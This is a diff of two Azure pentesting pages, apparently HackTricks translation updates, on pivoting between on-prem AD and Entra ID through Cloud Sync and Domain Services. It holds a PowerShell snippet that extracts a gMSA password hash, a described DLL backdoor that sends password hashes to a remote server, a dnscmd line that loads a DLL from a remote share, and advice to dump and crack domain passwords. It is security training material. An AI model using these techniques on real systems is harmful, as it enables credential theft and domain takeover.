diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index 659318c0a..a9e6077fc 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -5,54 +5,54 @@ ## Основна інформація -**Cloud Sync** - це новий спосіб Azure для **синхронізації користувачів з AD в Entra ID**. +**Cloud Sync** — по суті новий спосіб Azure для **синхронізації користувачів з AD в Entra ID**. -[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync - це нова пропозиція від Microsoft, розроблена для досягнення ваших цілей гібридної ідентичності для синхронізації користувачів, груп і контактів до Microsoft Entra ID. Це досягається за допомогою агента постачання Microsoft Entra в хмарі замість програми Microsoft Entra Connect. Однак його можна використовувати разом з Microsoft Entra Connect Sync. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync is a new offering from Microsoft designed to meet and accomplish your hybrid identity goals for synchronization of users, groups, and contacts to Microsoft Entra ID. It accomplishes this by using the Microsoft Entra cloud provisioning agent instead of the Microsoft Entra Connect application. However, it can be used alongside Microsoft Entra Connect Sync. -### Згенеровані принципали +### Принципали, що створюються -Для того, щоб це працювало, деякі принципали створюються як в Entra ID, так і в локальному каталозі: +Щоб це працювало, деякі принципали створюються як в Entra ID, так і в локальному каталозі: - В Entra ID створюється користувач `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) з роллю **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`). > [!WARNING] -> Ця роль раніше мала багато привілейованих дозволів, і її можна було використовувати для [**ескалації привілеїв навіть до глобального адміністратора**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Однак Microsoft вирішила видалити всі привілеї цієї ролі та призначити лише нову **`microsoft.directory/onPremisesSynchronization/standard/read`**, яка насправді не дозволяє виконувати жодні привілейовані дії (такі як зміна пароля або атрибутів користувача або додавання нових облікових даних до SP). +> This role used to have a lot of privileged permissions and it could be used to [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). However, Microsoft decided to remove all the privileges of this role and assign it just a new one **`microsoft.directory/onPremisesSynchronization/standard/read`** which doesn't really allow to perform any privileged action (like modifying the password or atribbutes of a user or adding a new credential to a SP). -- В Entra ID також створюється група **`AAD DC Administrators`** без членів або власників. Ця група корисна, якщо використовується [`Microsoft Entra Domain Services`](./az-domain-services.md). +- В Entra ID також створюється група **`AAD DC Administrators`** без учасників або власників. Ця група корисна, якщо використовується [`Microsoft Entra Domain Services`](./az-domain-services.md). -- В AD або створюється обліковий запис служби **`provAgentgMSA`** з SamAcountName, як **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або користувацький, з [**цими дозволами**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється за замовчуванням. +- В AD або створюється Service Account **`provAgentgMSA`** з SamAcountName на кшталт **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або створюється кастомний обліковий запис з [**необхідними правами**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється стандартний. > [!WARNING] -> Серед інших дозволів обліковий запис служби **`provAgentgMSA`** має дозволи DCSync, що дозволяє **будь-кому, хто його скомпрометує, скомпрометувати весь каталог**. Для отримання додаткової інформації про [DCSync перегляньте це](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). +> Among other permissions the Service Account **`provAgentgMSA`** has DCSync permissions, allowing **anyone that compromises it to compromise the whole directory**. For more information about [DCSync check this](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). > [!NOTE] -> За замовчуванням користувачі відомих привілейованих груп, таких як Domain Admins, з атрибутом **`adminCount` до 1 не синхронізуються** з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або які мають високі привілеї безпосередньо, **можуть бути синхронізовані**. +> За замовчуванням користувачі відомих привілейованих груп, наприклад Domain Admins, з атрибутом **`adminCount` рівним 1 не синхронізуються** з Entra ID з міркувань безпеки. Проте інші користувачі, які є частиною привілейованих груп без цього атрибуту або яким напряму призначені високі привілеї, **можуть бути синхронізовані**. ## Синхронізація паролів -Цей розділ дуже схожий на той, що з: +The section is very similar to the one from: {{#ref}} az-connect-sync.md {{#endref}} -- **Синхронізація хешів паролів** може бути увімкнена, щоб користувачі могли **увійти в Entra ID, використовуючи свої паролі з AD**. Більше того, коли пароль змінюється в AD, він буде оновлений в Entra ID. -- **Запис паролів** також може бути увімкнений, що дозволяє користувачам змінювати свій пароль в Entra ID, автоматично синхронізуючи їх пароль в локальному домені. Але відповідно до [поточних документів](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), для цього потрібно використовувати Connect Agent, тому зверніть увагу на [розділ Az Connect Sync](./az-connect-sync.md) для отримання додаткової інформації. -- **Запис груп**: Ця функція дозволяє синхронізувати членство груп з Entra ID назад до локального AD. Це означає, що якщо користувача додають до групи в Entra ID, його також додадуть до відповідної групи в AD. +- **Password hash synchronization** can be enabled so users will be able to **login into Entra ID using their passwords from AD**. Moreover, whenever a password is modified in AD, it'll be updated in Entra ID. +- **Password writeback** can also be enabled, allowing users to modify their password in Entra ID automatically synchronizing their password in the on-premise domain. But according to the [current docs](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), for this is needed to use the Connect Agent, so take a look to the [Az Connect Sync section](./az-connect-sync.md) for more information. +- **Groups writeback**: This feature allows group memberships from Entra ID to be synchronized back to the on-premises AD. This means that if a user is added to a group in Entra ID, they will also be added to the corresponding group in AD. -## Півотування +## Pivoting ### AD --> Entra ID -- Якщо користувачі AD синхронізуються з AD в Entra ID, півотування з AD в Entra ID є простим, просто **скомпрометуйте пароль деякого користувача або змініть пароль деякого користувача або створіть нового користувача і чекайте, поки його синхронізують в каталог Entra ID (зазвичай лише кілька хвилин)**. +- Якщо користувачі AD синхронізуються з AD в Entra ID, pivoting з AD в Entra ID є простим: достатньо **compromise some user's password or change some user's password or create a new user and wait until it's synced into the Entra ID directory (usually only a few mins)**. -Отже, ви могли б, наприклад: -- Скомпрометувати обліковий запис **`provAgentgMSA`**, виконати атаку DCSync, зламати пароль деякого користувача, а потім використовувати його для входу в Entra ID. -- Просто створити нового користувача в AD, почекати, поки його синхронізують в Entra ID, а потім використовувати його для входу в Entra ID. -- Змінити пароль деякого користувача в AD, почекати, поки його синхронізують в Entra ID, а потім використовувати його для входу в Entra ID. +Отже, наприклад, ви можете: +- Compromise the **`provAgentgMSA`** account, perform a DCSync attack, crack the password of some user and then use it to login into Entra ID. +- Just create a new user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID. +- Modify the password of some user in the AD, wait until it's synced into Entra ID and then use it to login into Entra ID. -Щоб скомпрометувати облікові дані **`provAgentgMSA`**: +To compromise the **`provAgentgMSA`** credentials: ```powershell # Enumerate provAgentgMSA account Get-ADServiceAccount -Filter * -Server domain.local @@ -74,22 +74,18 @@ $Passwordblob = (Get-ADServiceAccount -Identity pGMSA_$ -Properties msDS-Man $decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword ``` -Тепер ви можете використовувати хеш gMSA для виконання атаки Pass-the-Hash проти Entra ID, використовуючи обліковий запис `provAgentgMSA` і підтримувати постійність, маючи можливість виконувати атаки DCSync проти AD. +Тепер ви можете використати хеш gMSA, щоб виконати атаку Pass-the-Hash проти Entra ID, використовуючи обліковий запис `provAgentgMSA`, і забезпечити персистентність з можливістю виконувати атаки DCSync проти AD. -Для отримання додаткової інформації про те, як скомпрометувати Active Directory, перегляньте: +For more information about how to compromise an Active Directory check: {{#ref}} https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html {{#endref}} > [!NOTE] -> Зверніть увагу, що немає жодного способу надати ролі Azure або EntraID синхронізованим користувачам на основі їх атрибутів, наприклад, у конфігураціях Cloud Sync. Однак, щоб автоматично надати дозволи синхронізованим користувачам, деякі **групи Entra ID з AD** можуть отримати дозволи, щоб синхронізовані користувачі в цих групах також їх отримали, або **можуть бути використані динамічні групи**, тому завжди перевіряйте динамічні правила та потенційні способи їх зловживання: +> Зверніть увагу, що немає способу надати ролі Azure або EntraID синхронізованим користувачам на основі їхніх атрибутів, наприклад у конфігураціях Cloud Sync. Однак для автоматичного надання прав синхронізованим користувачам деяким **Entra ID groups from AD** можуть бути надані дозволи, тож синхронізовані користувачі всередині цих груп також їх отримають або можуть використовуватися **dynamic groups might be used**, тому завжди перевіряйте динамічні правила та потенційні шляхи їхнього зловживання: -{{#ref}} -../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md -{{#endref}} - -Щодо постійності, [цей блог](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) пропонує, що можливо використовувати [**dnSpy**](https://github.com/dnSpy/dnSpy) для створення бекдору в dll **`Microsoft.Online.Passwordsynchronisation.dll`**, розташованій у **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, яка використовується агентом Cloud Sync для виконання синхронізації паролів, змушуючи її ексфільтрувати хеші паролів користувачів, які синхронізуються, на віддалений сервер. Хеші генеруються в класі **`PasswordHashGenerator`**, і в блозі пропонується додати деякий код, щоб клас виглядав так (зверніть увагу на `use System.Net` і використання `WebClient` для ексфільтрації хешів паролів): +Щодо персистентності, [this blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) пропонує, що можливо використати [**dnSpy**](https://github.com/dnSpy/dnSpy) для додавання бекдору в dll **`Microsoft.Online.Passwordsynchronisation.dll`**, розташовану в **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, яку використовує Cloud Sync agent для синхронізації паролів, щоб вона ексфільтрувала хеші паролів синхронізованих користувачів на віддалений сервер. Хеші генеруються всередині класу **`PasswordHashGenerator`**, і блог пропонує додати трохи коду, щоб клас виглядав так (зверніть увагу на `use System.Net` та використання `WebClient` для ексфільтрації хешів паролів): ```csharp using System; using System.Net; @@ -123,22 +119,19 @@ RawHash = passwordHashData.RawHash } } ``` -NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. -C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'. -. Please see Error List window for detailed warnings and errors. - ### Entra ID --> AD -- Якщо **Password Writeback** увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для отримання додаткової інформації перегляньте розділ [Az Connect Sync section](./az-connect-sync.md), оскільки функція скидання пароля налаштовується за допомогою цього агента. +- If **Password Writeback** is enabled, you could modify the password of some users from Entra ID and if you have access to the AD network, connect using them. For more info check the [Az Connect Sync section](./az-connect-sync.md) section for more information as the password writeback is configured using that agent. -- На даний момент Cloud Sync також дозволяє **"Microsoft Entra ID to AD"**, але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID з AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з хешем пароля і походять з домену, що належить до того ж лісу доменів, до якого ми синхронізуємо, як ви можете прочитати в [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): +- На даний момент Cloud Sync також дозволяє **"Microsoft Entra ID to AD"**, але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID в AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з password hash і походять з домену, що належить до того ж доменного лісу, що й домен, з яким ми синхронізуємося, як можна прочитати в [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): -> - Ці групи можуть містити лише синхронізованих користувачів з локальних систем і/або додаткові групи безпеки, створені в хмарі. -> - Локальні облікові записи користувачів, які синхронізовані і є членами цієї групи безпеки, створеної в хмарі, можуть бути з одного домену або міждоменними, але всі вони повинні бути з одного лісу. +> - Ці групи можуть містити лише локально синхронізованих користувачів і/або додаткових створених у хмарі груп безпеки. +> - Локальні облікові записи користувачів, які синхронізовані і є членами цієї створеної в хмарі групи безпеки, можуть належати до того самого домену або бути крос-доменними, але всі вони повинні належати до того самого лісу. -Отже, поверхня атаки (і корисність) цього сервісу значно зменшена, оскільки зловмисник повинен зламати початковий AD, з якого синхронізуються користувачі, щоб зламати користувача в іншому домені (і обидва, очевидно, повинні бути в одному лісі). +Отже, поверхня атаки (і корисність) цієї служби значно зменшується, оскільки атакуючому доведеться скомпрометувати початковий AD, звідки синхронізуються користувачі, щоб скомпрометувати користувача в іншому домені (і, схоже, обидва мають належати до одного й того самого лісу). -### Enumeration + +### Перерахування ```bash # Check for the gMSA SA Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index b265b8689..28d97f1f9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -4,25 +4,25 @@ ## Служби домену -Microsoft Entra Domain Services дозволяє розгорнути Active Directory в Azure без необхідності керувати Domain Controllers (насправді у вас навіть немає до них доступу). +Microsoft Entra Domain Services дозволяє розгорнути Active Directory в Azure без потреби керувати Domain Controllers (насправді ви навіть не маєте доступу до них). -Його головна мета — дозволити запускати застарілі додатки в хмарі, які не можуть використовувати сучасні методи автентифікації, або в тих випадках, коли ви не хочете, щоб запити до каталогу постійно зверталися назад до on-premises AD DS середовища. +Його головна мета — дозволити запуск застарілих застосунків у хмарі, які не можуть використовувати сучасні методи автентифікації, або в тих випадках, коли ви не хочете, щоб запити до каталогу постійно поверталися до on-premises AD DS середовища. -Note that in order to synchronize the users generated in Entra ID (and not synchronized from other active directories) to the AD domain service you need to **змінити пароль користувача** на новий, щоб він міг бути синхронізований з новим AD. Насправді користувач не синхронізується з Microsoft Entra ID до Domain Services, поки пароль не буде змінено. +Зверніть увагу, що щоб синхронізувати користувачів, створених в Entra ID (і не синхронізованих з інших active directories), з AD domain service, потрібно **змінити пароль користувача** на новий, щоб він міг синхронізуватися з новим AD. Насправді користувач не синхронізується з Microsoft Entra ID до Domain Services, поки пароль не буде змінено. > [!WARNING] -> Навіть якщо ви створюєте новий Active Directory domain, ви не зможете повністю ним керувати (якщо тільки не експлуатувати певні помилки конфігурації), що означає, що за замовчуванням, наприклад, ви не можете створювати користувачів безпосередньо в AD. Ви створюєте їх шляхом **синхронізації користувачів з Entra ID.** Ви можете вказати синхронізацію всіх користувачів (включно з тими, що синхронізовані з інших on-premise AD), лише cloud users (користувачі, створені в Entra ID), або навіть **додатково їх фільтрувати**. +> Навіть якщо ви створюєте новий active directory domain, ви не зможете повністю ним керувати (без використання деяких misconfigurations), що означає, що за замовчуванням, наприклад, ви не можете безпосередньо створювати користувачів у AD. Ви створюєте їх шляхом **синхронізації користувачів з Entra ID.** Можна вказати синхронізувати всіх користувачів (навіть тих, які синхронізовані з інших on-premise AD), тільки cloud users (користувачі, створені в Entra ID), або навіть **більш їх відфільтрувати**. > [!NOTE] -> Загалом, через обмежену гнучкість у конфігурації нового домену та те, що ADs зазвичай вже розгорнуті on-premise, це не є основною інтеграцією між Entra ID та AD, але все ж цікаво знати, як його компрометувати. +> Загалом, через відсутність гнучкості у конфігурації нового домену та те, що AD зазвичай уже знаходяться on-premise, це не є основною інтеграцією між Entra ID та AD, але все одно цікаво знати, як його можна скомпрометувати. ### Pivoting -Членам створеної групи **`AAD DC Administrators`** надаються локальні права адміністратора на VMs, які приєднані до керованого домену (але не на контролерах домену), оскільки вони додаються до локальної групи адміністраторів. Члени цієї групи також можуть використовувати **Remote Desktop для віддаленого підключення до domain-joined VMs**, а також є членами таких груп: +Членам створеної групи **`AAD DC Administrators`** надаються права локального адміністратора на VMs, що приєднані до керованого домену (але не на domain controllers), оскільки вони додаються в локальну групу administrators. Члени цієї групи також можуть використовувати **Remote Desktop для віддаленого підключення до domain-joined VMs**, а також є членами таких груп: -- **`Denied RODC Password Replication Group`**: це група, яка визначає користувачів та групи, чиї паролі не можуть кешуватися на RODCs (Read-Only Domain Controllers). -- **`Group Policy Creators Owners`**: Ця група дозволяє її членам створювати Group Policies у домені. Однак її члени не можуть застосовувати групові політики до користувачів або груп, або редагувати наявні GPOs, тому це не є надто цікавим у цьому середовищі. -- **`DnsAdmins`**: Ця група дозволяє керувати налаштуваннями DNS і в минулому використовувалася для [підвищення привілеїв та компрометації домену](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), проте після тестування цієї атаки в цьому середовищі було перевірено, що вразливість виправлена: +- **`Denied RODC Password Replication Group`**: Це група, яка визначає користувачів і групи, паролі яких не можуть кешуватися на RODCs (Read-Only Domain Controllers). +- **`Group Policy Creators Owners`**: Ця група дозволяє членам створювати Group Policies у домені. Однак її члени не можуть застосовувати групові політики до користувачів або груп, чи редагувати існуючі GPO, тому це не так цікаво в цьому середовищі. +- **`DnsAdmins`**: Ця група дозволяє керувати налаштуваннями DNS і була зловживана в минулому для [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), однак після тестування атаки в цьому середовищі було перевірено, що вразливість виправлена: ```text dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll @@ -30,16 +30,16 @@ DNS Server failed to reset registry property. Status = 5 (0x00000005) Command failed: ERROR_ACCESS_DENIED 5 0x5 ``` -Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**. +Зверніть увагу, що для надання цих дозволів у AD група **`AAD DC Administrators`** робиться членом попередніх груп, а також GPO **`AADDC Computers GPO`** додає всіх членів доменної групи **`AAD DC Administrators`** до Local Administrators. Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.** -However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always check the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure. +Однак pivoting from the domain to Entra ID не такий простий, оскільки нічого з домену не синхронізується в Entra ID. Проте завжди перевіряйте метадані всіх приєднаних VMs, оскільки їхні призначені managed identities можуть мати цікаві дозволи. Також **dump all the users passwords from the domain** і спробуйте їх crack, щоб потім увійти в Entra ID / Azure. > [!NOTE] -> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it. +> Зауважте, що раніше в цьому керованому AD були знайдені інші вразливості, які дозволяли компрометувати DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Атакуючий, який компрометував DC, міг дуже легко підтримувати персистентність без того, щоб адміністратори Azure помітили або могли її видалити. -### Enumeration +### Перерахування ```bash # Get configured domain services domains (you can add more subs to check in more subscriptions) az rest --method post \